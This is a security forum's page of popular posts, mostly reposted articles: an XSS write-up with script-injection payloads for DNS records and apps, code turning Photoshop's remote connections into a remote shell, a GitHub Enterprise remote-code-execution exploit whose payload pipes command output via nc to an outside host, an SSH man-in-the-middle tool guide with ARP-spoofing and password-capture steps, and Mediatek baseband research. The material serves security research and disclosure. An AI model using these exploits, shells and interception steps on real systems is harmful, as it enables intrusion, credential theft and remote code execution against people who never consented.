Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 07/31/17 in all areas

  1. "inurl: *.site.com" in secolul 21. https://github.com/fathom6/2017-BSidesLV-Modern-Recon/blob/master/Modern Internet Scale Reconnaisance.pdf
    3 points
  2. Baietilor cu BTC de pe aici li se invart rotitele si n-o sa se complice nimeni cu tine, sunt sigur de asta. Eu sunt calm, toata lumea e calma. Speri sa ne agitam?
    2 points
  3. The adventures of xss vectors in curious places By Bo0oM 30 July 2017 Blog Hi! I want to tell about a couple of cases when different services were collecting the data but were processing it incorrectly. In some cases the data was presented in secure format, but because of parsing and further processing, an initially harmless string becomes the attack vector. I did it all only for fun – just like the good old days XSS and DNS If you google “XSS via DNS” you can find a couple of articles [1] [2] that describe the passing attack vector in TXT record. But you can create a TXT record in any hosting panel and XSS is there since the creation of this blog. Why no one thought about different types of records – CNAME or NS for example? But if you want to respond with the domain names as an attacking vectors you should create your own NS server. Using the dnschef was a great idea. I used hack.bo0om.ru subdomain (any subdomain would work) and set my ip as name server for it. That’s it. Now we configure dnschef by modifying dnschef.ini, putting there the following: [MX] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> [NS] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> [CNAME] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> If some service takes DNS data and prints it on the page – there is a possibility that it forgot to sanitize it. Below are examples where XSS works: who.is robtex.com dnsqueries.com etc XSS and Instagram One time I added XSS to my instagram status just for fun. There’s nothing new about it, but it’s worth noting that the vector itself were harmless (on instagram page itself). But the XSS started to work on other domains, it was social network parsers and some analytic services – I saw it my web server logs. Here are some examples: findgram.me imgrab.com instagy.com iconosquare.com tofo.me photo.sh gramosphere.com Some of them already fixed this bugs, but let it be here as it was in the logs. XSS and Google Play @Black2Fan messaged me recently and asked if I had an android app with XSS in Google Play I did not know it was possible! Let’s try it! Maybe it will work (maybe even somewhere in google). So we generated a certificate for the app with XSS vector instead of developer name and other data We had some files with traps and files with path to them that form a valid tag, loading a script from my domain. Reminder – you can use special characters in filename (in linux), for anyone interested – take a look at assets folder. Too bad for you to inject your script in filename you should use a short domain name – there’s a 30 character limit. Unfortunately, we had not have a short domain name ready at hand. Even if all of one or two character domains are already registered – not all is lost yet. In modern web you can use punycode and you can register domain names using it, and there is some free punycode domains left. For example xn--g3h converts to . So I registered a .ws domain (4 symbols including the dot). The app is still available here, but it can get deleted in any moment. First knocks came from the app parsers, most of the traffic is from the following domains: 9apps.co.id 9apps.com allfreeapk.com allfreeapks.com androidapkdescargar.com androidfreeapk.com apk-baixar.com apkandroid.ru apkapps.in apkdl.in apkdroid4x.com apkforwindowsphone.com apkfurpc.com apkherunterladen.com apkindirpc.com apknakomputer.com apkpc.com apkperpcdownload.com apkpure.com apksurpc.com appbrain.com appszoom.com bestfreeapk.com downloadatoz.com freeapkdownloader.com googleplaystoreapks.com ninestore.ru ruapks.com telechargerapkgratuit.com xiaomilatam.net And there also were some app scanners, apk decompilers and some other stuff. One of the examples is HackApp – it searches for vulnerabilities in mobile apps. Our app has found a vulnerability in it (UPD: fixed). But the funniest thing is – after the app has been sent to virustotal, XSS had fired in antivirus vendor panels. Qihoo 360 subdomain— 360 Total Security developer Antiy Labs subdomain — AVL antivirus developer (fancy panel, Jira integration) Both panels are written on PHP and both vendors are from China, most of the data is getting sanitized, but the vector that sends a “screenshot” to my server goes off from time to time. It’s not a bugbounty but fun nonetheless. Translated by @no_kriminality and @Dark_and_knife Sursa: https://bo0om.ru/xss-everywhere
    2 points
  4. codecolorist Security research @ Chaitin Tech Jul 30 How to turn Photoshop into a remote access tool Photoshop has an optional feature named Remote Connections. It’s disabled by default, but when you turn this on and set the password, anyone that knows the password can connect to your photoshop service remotely. Enable remote connections A common use case for this feature is to preview documents in realtime on remote devices, like an iPad or a phone, to see its actual looking on different screens. You may need some 3rd-party apps like Skala Preview or PS Play on your mobile devices. Skala Preview, image belongs to Bjango.com The remote connection is actually running JSX on Photoshop instance. JSX is the macro for Photoshop (not the one from Facebook). The scripts are written in Javascript, and have the abilities powered by Photoshop, like loading images, tuning colors, drawing vectors and then export. The following manuals shows how to write and run the scripts, and the available APIs. Adobe provides an open-sourced library generator-core to establish remote connections, so if you are curious about the detail of the protocol you can take a look at it. When you turn on Remote Connection, Photoshop will listen on port 49494: $ netstat -an | grep 49494 tcp4 0 0 *.49494 *.* LISTEN From the source we can see that the password is used for generating key in communications. It uses Triple DES algorithm, fixed iv. The key is generated by pbkdf2 algorithm, with a constant salt “Adobe Photoshop”, and 1000 iterations. adobe-photoshop/generator-core generator-core - Core Node.js library for Adobe Photoshop CC's Generator extensibility layergithub.com The following snippet pops an alert on remote Photoshop: const core = require("generator-core/lib/generator") const options = { host: '192.168.1.123', password: 'password', port: 49494 } const generator = core.createGenerator() generator.start(options).done(() => { generator.evaluateJSXString('alert("Hello")').then(() => generator.shutdown()) }) What makes me excited is that there’s a function that not listed in the reference book: app.system, which executes arbitrary system command. What about making it a web shell? Then I tried running this in my Photoshop, expecting to pop the output: alert(app.system("id")) Unfortunately, the return value is the exit status code, not the contents from stdout. A blind shell sucks. The solution is easy. Photoshop’s JSX also provides API for accessing file system. We can redirect the stdout to a temporary file, then read it! var tmpFile = Folder.temp + 'output.txt'; app.system("id > " + tmpFile); var stdout = new File(${tmpFile}); stdout.open('r'); stdout.encoding = "UTF-8"; var content = stdout.read(); stdout.close(); stdout.remove(); alert(content); That’s it! So my RAT script may look like this: const readline = require('readline') const backdoor = require("generator-core/lib/generator") const options = { host: '127.1', password: 'password', port: 49494 } console.info('Establishing connection to ' + options.host) const generator = backdoor.createGenerator() generator.start(options).done(() => { const rl = readline.createInterface({input: process.stdin, output: process.stdout, prompt: '> '}) .on('line', line => { let command = line.trim() let tmpFile = `Folder.temp + ${JSON.stringify(Math.random() + '.txt')}` let reader = `var stdout = new File(${tmpFile});stdout.open('r');stdout.encoding = "UTF-8";var content = stdout.read();stdout.close();stdout.remove();content` generator.evaluateJSXString(`app.system("${command} > " + ${tmpFile});`).then(() => { generator.evaluateJSXString(reader).then(output => { console.log(output) rl.prompt() }) }) }) .on('SIGINT', () => { generator.shutdown() rl.close() }) console.log('Remote photoshop shell') rl.prompt() }) result To discover the nearby controllable Photoshop instances, simply scan TCP port 49494 or use the mDNS protocol to search “_photoshopserver.tcp.”. This feature is not consider a vulnerability, since you need to know the password. I don’t know if the algorithm is crackable. But if someone asking you to turn the feature on and hand out your password, be careful. Sursa: https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-972238dc98e9
    2 points
  5. #!/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB code = "`id | nc orange.tw 12345`" p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult" ''' marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult' payload = [ '', 'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code), marshal_code, '', '' ] payload = map(quote, payload) url = 'http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/' print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org" print '-'*10 + '\n' print url + '%0D%0A'.join(payload) print ''' Inserting WebHooks from: https://ghe-server/:user/:repo/settings/hooks Triggering RCE from: https://ghe-server/search?q=ggggg&type=Repositories ''' Sursa: https://www.exploit-db.com/exploits/42392/.
    2 points
  6. :))))))))) fugi ma de aici
    2 points
  7. 2017-07-30: Windows Kernel Debugging livestreams livestream:kernel:windows It's a real pleasure for me to announce that the next four livestreams will feature Artem "honorary_bot" Shishkin (github), who will do an introduction into a long awaited topic of Windows Kernel Debugging. Artem, in his own words, is a fan of Windows RE, debugging and low-level stuff. He's been using WinDbg for kernel debugging for several years now for fun, customizing BSODs, building Windows kernel source tree or boot dependencies graph. Sometimes he might also accidentally discover such things as SMEP bypass on Windows 8 or how to disable PatchGuard in runtime. Being a great fan of Intel and specifically VMX technology he maintains his own bicycle debugger based on a bare metal hypervisor. When: • 2017-08-02 (Wednesday), 8pm CET • 2017-08-03 (Thursday), 8pm CET • 2017-08-09 (Wednesday), 8pm CET • 2017-08-10 (Thursday), 8pm CET Where: My YouTube livestreaming channel: www.youtube.com/c/GynvaelEN/live (or gaming.youtube.com/c/GynvaelEN/live if you prefer darker theme). How to not forget: • Subscribe to the YouTube channel and allow notifications. • Subscribe to Gynvael Hacking Livestreams calendar (also: ICS, calendar ID: pjta7kjkt1ssenq7fi9b6othfg@group.calendar.google.com). Since I expect some technical problems (first time we'll be doing livestreaming with a guest in a remote location) I'll skip the usual news/announcements/mission solutions part of the streams to save some time (I'll probably do a dedicated stream for mission solutions later on). However DO expect new missions after each episode See you Wednesday! Sursa: http://gynvael.coldwind.pl/?id=656
    1 point
  8. Microsoft a pus din ce in ce mai mult focus-ul pe securitate, iar vulnerabilitatile descoperite sunt din ce in ce mai putine si din ce in ce mai greu de exploatat.
    1 point
  9. SSH MITM v1.1 Author: Joe Testa (@therealjoetesta) Overview This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and sessions are logged to disk. Of course, the victim's SSH client will complain that the server's key has changed. But because 99.99999% of the time this is caused by a legitimate action (OS re-install, configuration change, etc), many/most users will disregard the warning and continue on. NOTE: Only run the modified sshd_mitm in a VM or container! Ad-hoc edits were made to the OpenSSH sources in critical regions, with no regard to their security implications. Its not hard to imagine these edits introduce serious vulnerabilities. Change Log v1.0: May 16, 2017: Initial revision. v1.1: July 6, 2017: Removed root privilege dependencies, added automatic installer, added Kali Linux support, added JoesAwesomeSSHMITMVictimFinder.py script to find potential targets on a LAN. To Do The following list tracks areas to improve: Support SFTP MITM'ing. Print hostname, username, and password at the top of session logs. Add port forwarding support. Regex substitute the output of ssh-keygen when a user tries to check the host key hash. >:] Create wrapper script that detects when user is trying to use key authentication only, and de-spoof them automatically. Initial Setup As root, run the install.sh script. This will install prerequisites from the repositories, download the OpenSSH archive, verify its signature, compile it, and initialize a non-privileged environment to execute within. Finding Targets The JoesAwesomeSSHMITMVictimFinder.py script makes finding targets on a LAN very easy. It will ARP spoof a block of IPs and sniff for SSH traffic for a short period of time before moving on to the next block. Any ongoing SSH connections originating from devices on the LAN are reported. By default, JoesAwesomeSSHMITMVictimFinder.py will ARP spoof and sniff only 5 IPs at a time for 20 seconds before moving onto the next block of 5. These parameters can be tuned, though a trade-off exists: the more IPs that are spoofed at a time, the greater the chance you will catch an ongoing SSH connection, but also the greater the strain you will put on your puny network interface. Under too high of a load, your interface will start dropping frames, causing a denial-of-service and greatly raising suspicions (this is bad). The defaults shouldn't cause problems in most cases, though it'll take longer to find targets. The block size can be safely raised on low-utilization networks. Example: # ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53 Found local address 10.11.12.141 and adding to ignore list. Using network CIDR 10.11.12.141/24. Found default gateway: 10.11.12.1 IP blocks of size 5 will be spoofed for 20 seconds each. The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141 Local clients: * 10.11.12.70 -> 174.129.77.155:22 * 10.11.12.43 -> 10.11.99.2:22 The above output shows that two devices on the LAN have created SSH connections (10.11.12.43 and 10.11.12.70); these can be targeted for a man-in-the-middle attack. Note, however, that in order to potentially intercept credentials, you'll have to wait for them to initiate new connections. Impatient pentesters may opt to forcefully close existing SSH sessions, prompting users to create new ones immediately... Running The Attack 1.) Once you've completed the initial setup and found a list of potential victims (see above), execute run.sh as root. This will start sshd_mitm, enable IP forwarding, and set up SSH packet interception through iptables. 2.) ARP spoof the target(s) (Protip: do NOT spoof all the things! Your puny network interface won't likely be able to handle an entire network's traffic all at once. Only spoof a couple IPs at a time): arpspoof -r -t 192.168.x.1 192.168.x.5 Alternatively, you can use the ettercap tool: ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6// 3.) Monitor auth.log. Intercepted passwords will appear here: sudo tail -f /var/log/auth.log 4.) Once a session is established, a full log of all input & output can be found in /home/ssh-mitm/session_*.txt. Sample Results Upon success, /var/log/auth.log will have lines that log the password, like this: May 16 23:14:01 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth] Furthermore, the victim's entire SSH session can be found in /home/ssh-mitm/session_*.txt: # cat /home/ssh-mitm/session_0.txt Last login: Tue May 16 21:35:00 2017 from 10.50.22.x OpenBSD 6.0-stable (GENERIC.MP) #12: Sat May 6 19:08:31 EDT 2017 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. jdog@jefferson ~ $ ppss PID TT STAT TIME COMMAND 59264 p0 Ss 0:00.02 -bash (bash) 52132 p0 R+p 0:00.00 ps jdog@jefferson ~ $ iidd uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel) jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx jtesta@magicbox's password: ROFLC0PTER!!1juan Note that the characters in the user's commands appear twice in the file because the input from the user is recorded, as well as the output from the shell (which echoes characters back). Observe that when programs like sudo and ssh temporarily disable echoing in order to read a password, duplicate characters are not logged. Developer Documentation In lol.h are two defines: DEBUG_HOST and DEBUG_PORT. Enable them and set the hostname to a test server. Now you can connect to sshd_mitm directly without using ARP spoofing in order to test your changes, e.g.: ssh -p 2222 valid_user_on_debug_host@localhost To create a new patch, use these commands: pushd openssh-7.5p1-mitm/; make clean; popd diff -ru --new-file -x '*~' -x 'config.*' -x Makefile.in -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh openssh-7.5p1 openssh-7.5p1-mitm/ > openssh-7.5p1-mitm.patch Sursa: https://github.com/jtesta/ssh-mitm
    1 point
  10. Brida Brida is a Burp Suite Extension that, working as a bridge between Burp Suite and Frida, lets you use and manipulate applications’ own methods while tampering the traffic exchanged between the applications and their back-end services/servers. It supports all platforms supported by Frida (Windows, macOS, Linux, iOS, Android, and QNX) Authors Piergiovanni Cipolloni, Security Advisor at @ Mediaservice.net Federico Dotta, Security Advisor at @ Mediaservice.net Contributors Maurizio Agazzini, Senior Security Advisory at @ Mediaservice.net Brida Idea This idea is a need that is born during the analysis of some mobile application that use strong symmetric cryptography using random keys, without knowing the correct secret all data was not modifiable via Burp neither with a custom plugin. More generally, applications' logic could be based on cryptographic tokens, it could use a complex challenge-response algorithm as well, and so on. How can we tamper the messages? Most of the times the only viable approach is to decompile/disassemble the application, identify the functions or methods we’re interested in AND re-implement them. This approach is obviously time consuming and not always really viable: i.e. the generation of tokens and/or the encryption routines could be based on cryptographic material strictly tied to the device (state) or stored inside protected areas and thus not directly accessible... That’s when Brida comes in handy: instead of trying to extract keys/certificates and re-writing the routines we’re interested in, why don’t we let the application do the dirty work for us? Installation Install Python 2.7 and Pyro4 (pip install pyro4) Download Burp Suite: http://portswigger.net/burp/download.html Install Brida from the BApp Store (not available yet) or follow these steps: Download the last release of Brida Open Burp -> Extender -> Extensions -> Add -> Choose BridaXX.jar file Use Brida to generate stubs for your custom extensions or use Brida directly to call Frida exported functions Sursa: https://github.com/federicodotta/Brida
    1 point
  11. Path of Least Resistance: Cellular Baseband to Application Processor Escalation on Mediatek Devices Fri, Jul 28, 2017 György Miru Intro Today’s mobile systems are composed of multiple separate, but highly interconnected processing units, each running their own code. Previous research has proven that these components, especially the wireless baseband processors, are susceptible to remote or vicinity attacks. Such exploits have been demonstrated in practice against all major baseband SoC vendors during the last few years. Compromising the baseband (modem or MD as referred to in MTK source code) is a powerful attack as it provides access to all data passing through the modem while being virtually undetectable by current protection mechanisms. Yet it has its limitations in terms of persistence and usefulness: obviously such a compromise provides no access to client side encrypted data or data transmitted through other channels. A natural next step in the evolution of these types of attacks is to elevate code execution and compromise other processing units, most importantly the application processor (AP). The advantage of attacking the AP through other components is that they can provide a less audited, less secure attack surface. The operating systems running on the application processor are usually equipped with modern defense and exploit mitigation mechanisms, which are continuously being improved, to raise the cost of exploitation. Contrary, other embedded components – such as cellular basebands that are less exposed to end users and traditional attack vectors – historically often received less scrutiny by the security community and vendors. This research aims to provide a methodology to assess and audit interfaces between the different processing units, by following a case study for the HTC One M9+ with a Mediatek chipset and assuming the compromise of the 3G modem. First, the communication channels between the modem and other components are explored and the Android kernel driver, which is responsible for the baseband firmware loading, is investigated. After the general architecture and the communication landscape is introduced, examples are provided for the vulnerability assessment of user space applications that consume data from the modem. These examples include manual investigation (dissecting the remote file system driver) and automated discovery (fuzzing the vendor RIL). Furthermore, I developed a proof of concept exploit for a path traversal vulnerability found in the remote file system driver. The PoC can be utilized to take over the Android system from the compromised baseband. I will walk you through the PoC and the steps in developing it, including the reverse engineering process of the MTK baseband firmware. Finally, in an attempt to complete the exploit chain I also explain how the object files of the baseband firmware’s GSM stack can be fuzzed. Since this research was carried out, Gal Beniamini from Google’s Project Zero published an excellent article about compromising Broadcom Wi-Fi chips and elevating access to the application processor. His work also further indicates that these are not isolated cases and not specific to certain vendors. Rather they are examples of design issues in modern (mobile) operating systems, namely that OS-es inherently trusts the intent and integrity of other processing components and do very little to defend from them. The research has been conducted during my three months internship at Comsecuris and it has proven to be an exciting introduction to the low level security concerns of mobile platforms. Here, I would like to thank Ralf-Philipp Weinmann, Nico Golde and Daniel Komaromy for this incredible opportunity and the valuable insight they have provided throughout the research. Disclosure Timeline 14/11/2016 - Vulnerability disclosed to MTK (no response after multiple requests) 14/11/2016 - Vulnerability disclosed to HTC 18/11/2016 - Vulnerability disclosed to Google (as Lava Pixel phones are also effected) 28/11/2016 - HTC confirms that they informed the vendor 06/12/2016 - HTC reports that the issue is fixed and deployed to product lines 10/02/2017 - Google asks for further clarification, no response ever since (issue is still open) I was not able to verify how Mediatek fixed the issue, whether they published the fixes to all their costumers and whether these fixes made it into fielded devices. The Mediatek Landscape The first step of the research is gathering knowledge about the baseband processor and the low level architecture of the platform. The HTC One M9+ is shipped with a MediaTek MT6795T SoC (codenamed Helio X10) that contains an octa-core application processor (Cortex A53 ARMv8) and the integrated modem CPU. Unfortunately, MTK chips received less attention from the security research community than their competitors (Qualcomm’s Snapdragon and Samsung’s Shannon chipsets), yet a quick search on the Internet provides valuable resources. There is an abundance of leaked MTK datasheets, albeit for different or older chipsets (MT6595, MT6782, etc.) and they contain a high level overview of the SoC layout. Furthermore, Markus Vervier has written an article on attacks that enable active cloning of mobile identities and provides additional details about the Mediatek modem firmware. According to the MTK documents, the modem system is composed of a DSP and an ARMv7 Cortex-R4 MCU. Both reside within the same chip as the application processor. The DSP implements the physical layer of the cellular baseband stack and is out of the scope for this post (when I talk about the modem or baseband processor I refer to the MCU). The ARMv7 core runs the baseband firmware and implements the different cellular data-link and network layer protocols. To establish the possible attack surface from the modem’s point of view, we need to discover and understand the various communication channels between the AP and MD. We also need to identify the respective software components on the AP side, which consume data from the modem. A good place to start looking is the CCCI (Cross Core Communication Interface) kernel driver, which is responsible for the management and supervision of the baseband processor as well as the data exchanges between AP and MD. The bulk of the underlying Android kernel source code, including its drivers, is publicly available. The source code can be downloaded from HTC’s website. The relevant files are located within drivers/misc/mediatek/eccci/ and drivers/misc/mediatek/[dual_]ccci/ directories as part of the kernel source tree. The CCCI driver comprises the CCIF subsystem, which contains the code to set up the low level communication interface between the application processor and the modem. This includes initializing the UART lines, which are mostly used to transmit AT commands and audio data, and setting up a shared memory region that is used to exchange data and control commands. The shared memory is divided into sub regions dedicated to certain tasks for transmitting various IPC commands, modem log entries, remote files and so on. Each of these memory regions are divided into a separate transmit and receive channel and access to these is controlled by a dedicated signal area. The signal area is used as a sort of flow or access control channel to indicate when new data is available in the shared memory buffer or when it has been received by the other party. The remainder of the CCCI driver provides unified access to these channels (including the shared memory and the UART channels) through its own ring buffer implementation. These ring buffers are exposed to the user-space Mediatek binaries through a set of character drivers providing IOCTLs system call handlers. Figure 1 depicts this architecture, including the modem side of the CCCI driver. Most of the logic regarding the management of the modem and processing of its data is implemented in the user-space applications. The kernel driver merely functions as a communication interface (as its name suggests) that controls the communication channels between the modem and the AP. Figure 1: CCCI Overview The other main responsibility of the kernel driver is the actual setup and bring-up of the baseband MCU. This task is initiated and supervised by the user-space ccci_mdinit binary, but carried out by the driver. The initial setup and first boot involves the following steps: Initialize hardware Populate the modem control structure (including the memory addresses for shared memory, modem ROM and RAM) and register callbacks Register the modem and configure its memory areas When the actual boot is triggered: The firmware image is loaded (this is going to be discussed in detail later) The modem is powered on The modem is started The MPU protection is set up The runtime data is sent to the modem Figure 2: Modem Bootup The most interesting part for us is how the memory is set up for the modem by the CCCI driver. Part of the applications processor’s physical memory is reserved for the modem to serve as a RAM, ROM, and the shared memory for the inter chip communication. The baseband firmware image is loaded into the ROM area and parts of it (mostly its data section) into the RAM. Below is a code snippet of how the modem handler and the memory protection is set up for these regions (the actual protection flags will be discussed later). void ccci_config_modem(struct ccci_modem *md) { //... // Get memory info get_md_resv_mem_info(md->index, &md_resv_mem_addr, &md_resv_mem_size, &md_resv_smem_addr, &md_resv_smem_size); // setup memory layout // MD image md->mem_layout.md_region_phy = md_resv_mem_addr; md->mem_layout.md_region_size = md_resv_mem_size; md->mem_layout.md_region_vir = ioremap_nocache(md->mem_layout.md_region_phy, MD_IMG_DUMP_SIZE); // do not remap whole region, consume too much vmalloc space // DSP image md->mem_layout.dsp_region_phy = 0; md->mem_layout.dsp_region_size = 0; md->mem_layout.dsp_region_vir = 0; // Share memory md->mem_layout.smem_region_phy = md_resv_smem_addr; md->mem_layout.smem_region_size = md_resv_smem_size; md->mem_layout.smem_region_vir = ioremap_nocache(md->mem_layout.smem_region_phy, md->mem_layout.smem_region_size); memset(md->mem_layout.smem_region_vir, 0, md->mem_layout.smem_region_size); //... } void ccci_set_mem_access_protection(struct ccci_modem *md) { //... rom_mem_phy_start = (unsigned int)md_layout->md_region_phy; rom_mem_phy_end = ((rom_mem_phy_start + img_info->size + 0xFFFF)&(~0xFFFF)) - 0x1; rw_mem_phy_start = rom_mem_phy_end + 0x1; rw_mem_phy_end = rom_mem_phy_start + md_layout->md_region_size - 0x1; shr_mem_phy_start = (unsigned int)md_layout->smem_region_phy; shr_mem_phy_end = ((shr_mem_phy_start + md_layout->smem_region_size + 0xFFFF)&(~0xFFFF)) - 0x1; CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD ROM region<%d:%08x:%08x> %x\n", rom_mem_mpu_id, rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_attr); emi_mpu_set_region_protection(rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_id, rom_mem_mpu_attr); CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD R/W region<%d:%08x:%08x> %x\n", rw_mem_mpu_id, rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_attr); emi_mpu_set_region_protection(rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_id, rw_mem_mpu_attr); CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD Share region<%d:%08x:%08x> %x\n", shr_mem_mpu_id, shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_attr); emi_mpu_set_region_protection(shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_id, shr_mem_mpu_attr); //... } This kind of setup suggests that the external memory (the DRAM) is shared across the AP and MD with a multiport memory controller, but they have a different view of the memory. The interested reader can learn more about the different shared memory solutions for SoCs in this article. The baseband MCU has its own address space, however, the shared memory can be remapped on both sides to lie at the same address. In our case, the address is different: the shared memory is mapped to a constant 0x40000000 address on modem side while it remains at the original physical address on the AP side. The AP uses the offset between this physical and the remapped modem address to adjust the different pointers, written to the shared memory, as they are treated as absolute memory addresses on the modem side. In the same function the ROM is also remapped to be on the zero address for the modem. remainder = smem_offset % 0x02000000; md->mem_layout.smem_offset_AP_to_MD = md->mem_layout.smem_region_phy - (remainder + 0x40000000); set_md_smem_remap(md, 0x40000000, md->mem_layout.md_region_phy + (smem_offset-remainder), invalid); CCCI_INF_MSG(md->index, TAG, "AP to MD share memory offset 0x%X", md->mem_layout.smem_offset_AP_to_MD); set_md_rom_rw_mem_remap(md, 0x00000000, md->mem_layout.md_region_phy, invalid); The key takeaway is that the ROM and RAM of the baseband RTOS is present in the application processor’s memory, thus it has access to it. The AP serves as a sort of master to the MD and can power-cycle the modem and access some of its registers to set up the initial memory mappings. This means a kernel module can be used to retrieve a handle to the modem struct, read the addresses of these memory regions and dump their content. Below is the output of such tool: Sending ioctl: 8008d200 [md_dump] modem 0 info MD:lwg*MT6795_S00**2015/05/05 18:19*Release AP:lwg*MT6795E1*08000000 (MD)07a00000 [md_dump] modem 1 info [md_dump] modem 2 info [md_dump] modem 3 info [md_dump] modem 4 info [md_dump] modem 5 info Sending ioctl: 8008d201 [md_dump] driver used by modem: ECCI@ Sending ioctl: 8008d202 [md_dump]----dumping modem info---- [md_dump] Modem 0 at: ffffffc0a6848000 [md_dump] Rom: [md_dump] Phys start: e8000000 [md_dump] Virt start: ffffff8000792000 [md_dump] size: 8c3aac [md_dump] Ram: [md_dump] Phys start: e88d0000 [md_dump] Virt start: ffffff8001060000 [md_dump] size: 7730000 [md_dump] Shm: [md_dump] Phys start: f0000000 [md_dump] Virt start: ffffff8000800000 [md_dump] size: 200000 [md_dump] offset to MD: b0000000 [md_dump] CCIF base: 0 [md_dump] SIM type: eeeeeeee [md_dump]----End of Dump---- To dump the actual content of these memory regions the physical addresses must be used as they are only partially present in the kernel’s virtual address space. If we wish to access the RAM, one more step is required as it is protected from the AP by the External Memory Interface’s (EMI) MPU. This protection can be removed by calling the ccci_clear_md_region_protection routine, which wipes the MPU protection from the modem memory regions. With the help of the same kernel module and /dev/mem it is possible to monitor the communication between the modem and the AP and to inject arbitrary commands. Bug Hunting Now that we have a general idea about what kind of data is controlled by the modem and how it is processed, it is time to look for bugs that can be leveraged to gain code execution. The CCCI kernel driver is a tempting target as a vulnerability there would potentially grant complete control over the Android system. However, it mostly serves as a gateway between the modem and the user-space applications without processing most of the data, which significantly reduces the attack surface. This of course does not guarantee that there are no vulnerabilities in the kernel driver, but I decided to focus my attention on the user-space applications as they appeared to be the easier targets. There is just one low hanging fruit that must be investigated before moving on to the user-space. With this kind of shared memory model if the EMI MPU is not configured correctly the modem could potentially write into the kernel address space, which can lead to an easy compromise. Let’s take a closer look at how the EMI MPU protection is set up (only relevant parts of the source code are shown): #define SET_ACCESS_PERMISSON(d3, d2, d1, d0) (((d3) << 9) | ((d2) << 6) | ((d1) << 3) | (d0)) rom_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, SEC_R_NSEC_R, SEC_R_NSEC_R); rw_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, FORBIDDEN); shr_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, NO_PROTECTION); ap_mem_mpu_attr = SET_ACCESS_PERMISSON(NO_PROTECTION, FORBIDDEN, SEC_R_NSEC_R, NO_PROTECTION); CCCI_INF_MSG(md->index, TAG, "MPU Start protect AP region<%d:%08x:%08x> %x\n", ap_mem_mpu_id, kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_attr); emi_mpu_set_region_protection(kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_id, ap_mem_mpu_attr); The leaked MTK documents help significantly with deciphering what we see here. Domain 0 is identified as the application processor domain, domain 1 is dedicated for the modem MCU, while domain 2 controls the DSP, and finally domain 3 is associated with the multimedia engine. With that information in mind we can see that the MD ROM address range is readable by the AP and the MD in secure mode, the RAM is only accessible to the modem and shared memory is available to both of them. Unfortunately, the rest of the physical DRAM (starting from the Android kernel base) is only readable by the MD so direct overwrite of the kernel is not possible. As previously shown in Figure 1, there are quite a number of user space application that utilize the modem services. Auditing all of them is a really ambitious task as some of them are quite large and source code is generally not available. Due to the limited time frame of my internship and therefore the research, I decided to investigate the two most promising candidates. The Radio Interface Layer (RIL) daemon is responsible for the messaging between the Android telephony services and the modem hardware. It includes a vendor RIL portion, which provides vendor-specific glue code between Android RIL and proprietary modem interfaces. Its duties include the dispatching of unsolicited commands. These commands are initiated by the modem on certain events and parsed by the vendor RIL library. The structure of these commands comply with the traditional Hayes AT command format with proprietary extensions that can get fairly complex in detail. This means that the modem can send controlled data at arbitrary times that is going to be parsed as AT commands by the vendor RIL implementation. Because of this the RIL library serves as an excellent target for fuzzing. The second promising candidate is the ccci_fsd application, which provides a remote virtual file system for the modem to store persistent configuration files. The modem does not have its own file system. Furthermore, it does not have direct access to any non volatile memory. This necessitates that configuration parameters, which need to be kept across modem reboots, must be stored on the AP side. The ccci_fsd binary and CCCI kernel driver together provide the NVRAM file system API that is used by the modem to access the files under /data/nvram/md on the AP file system. A common mistake in such file system implementations is the improper sanitization of path strings resulting in path traversal vulnerabilities. Such vulnerabilities can easily be verified by manually reverse engineering the parts of theccci_fsd binary that handle opening files. Fuzzing the Vendor RIL The MTK RIL implementation is proprietary, however, there are leaked sources for previous versions. 